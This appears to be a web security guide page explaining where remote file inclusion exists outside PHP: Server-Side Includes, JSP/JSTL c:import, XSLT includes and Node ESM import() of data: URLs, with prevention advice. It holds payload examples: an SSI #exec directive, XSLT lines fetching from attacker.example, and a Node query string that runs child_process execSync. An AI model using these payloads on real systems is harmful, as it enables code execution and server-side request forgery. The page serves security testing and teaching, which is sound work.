Remote Include Outside PHP
Only PHP has an allow_url_include to turn off — but almost nowhere else has the sink it protects. Here is where remote inclusion genuinely exists outside PHP.
Why there is so little here
"Remote file inclusion" needs two things at once: a sink that loads code by name, and a name resolver that will accept a URL. PHP has both, because its stream layer makes every filesystem function URL-capable.
Everywhere else, at most one of the two exists. Node has require() but its resolver only speaks filesystem paths. Java has RequestDispatcher.include() but it dispatches within the servlet context. Go has no dynamic include at all.
So the list below is short, and each entry is a specific mechanism rather than a general property of the runtime. For the traversal bugs these runtimes do have in abundance, see the Runtimes section and the cheatsheet.
Server-Side Includes
# SSI is the oldest member of this family and the most literal: a directive
# in an HTML file tells the web server to fetch and splice in another resource.
<!--#include virtual="/footer.html" -->
# 'virtual' resolves through the server's URL space, so it can reach a
# CGI or a proxied path. If the value is built from user input, that is an
# inclusion bug with the server's privileges.
<!--#exec cmd="id" -->
# And #exec is direct command execution. Apache disables it unless
# IncludesNOEXEC is off, but plenty of legacy configs enable Includes wholesale:
# Options +Includes <- #exec available
# Options +IncludesNOEXEC <- #include only
# Where you will meet it: appliance web UIs, older intranet applications,
# and anything with .shtml in the URL.JSP and JSTL
// <jsp:include> dispatches inside the servlet context. A page parameter
// built from a request parameter is a local inclusion — it cannot leave
// the application, but it can reach anything the context serves.
<jsp:include page="<%= request.getParameter("p") %>" />
// JSTL's <c:import> is the one that is genuinely remote. Unlike the two
// above, it accepts an absolute URL and will fetch it.
<c:import url="${param.url}" />
// That makes it SSRF at minimum. Whether it becomes execution depends on
// what the result is then used for — imported into a page that evaluates
// EL, written to disk, or parsed as a template.
// Prevention: never build a dispatch target or an import URL from a request
// parameter. Map an identifier through a fixed table, exactly as in PHP.
// See /guide/java-inclusionXSLT and XML
<!-- If you control a stylesheet, xsl:include and xsl:import fetch by URI. -->
<xsl:include href="http://attacker.example/evil.xsl"/>
<!-- document() fetches at transform time, which is the SSRF primitive. -->
<xsl:value-of select="document('http://attacker.example/x')"/>
<!-- Some processors expose extension functions that reach further. Whether
these exist depends entirely on the processor and its configuration:
Xalan and Saxon-PE/EE have historically exposed Java bindings, libxslt
does not. Enumerate before assuming. -->
<!-- The XML sibling of this whole family is external entity expansion,
which is a different bug with a different fix — see xxe.page. -->Node: ESM import of a data: URL
// CommonJS require() takes filesystem paths only. A URL is a filename
// with a colon in it, and resolution fails.
require('http://attacker.example/x') // fails
// ESM dynamic import() is different: the specifier is a URL, and Node
// supports the data: scheme for it.
await import('data:text/javascript,console.log(1)') // runs
// So a dynamic import() built from user input is genuine remote code
// execution — no traversal, no filesystem, nothing to write.
await import(req.query.mod)
// ?mod=data:text/javascript,import('child_process').then(c=>c.execSync('id'))
// http(s): specifiers are NOT loadable by default — that needs the
// experimental network-imports flag, which nothing sane runs in production.
// data: needs no flag. That is the whole exposure.
// Prevention: never pass a request value to import(). Map to a fixed
// module table. See /guide/node-inclusionWhere this leaves you
The takeaway for testing
If the target is not PHP, stop looking for remote inclusion and start looking for traversal. The remote variant is either absent or requires a specific, uncommon mechanism from the list above.
That is not a downgrade of the engagement. Traversal in a modern deployment reaches environment files, mounted secrets, framework signing keys and cloud credentials — see Inclusion vs Traversal on why a read primitive is frequently the whole finding.
And if the target is PHP, the same advice applies for a different reason: remote inclusion is off, and the technique that works on the configuration in front of you is a filter chain.
Related
The textbook payload: point the include at a file on your own host. It requires a configuration PHP stopped shipping in 2006, and it is still the first thing everyone tries.
On Windows a UNC path is a filesystem path, not a URL. allow_url_include never sees it — which makes this the one remote inclusion that survives the default configuration.
No stream-wrapper layer, so no php://filter equivalent — but path.join collapses .. before the filesystem sees it, which is where the escape actually happens.
The servlet container normalises the dispatcher path. It does not normalise your File. That gap is where the traversal lives.
The same missing validation, the same payload, and two findings with different severities and different fixes. Whether the sink executes is the only thing that separates them.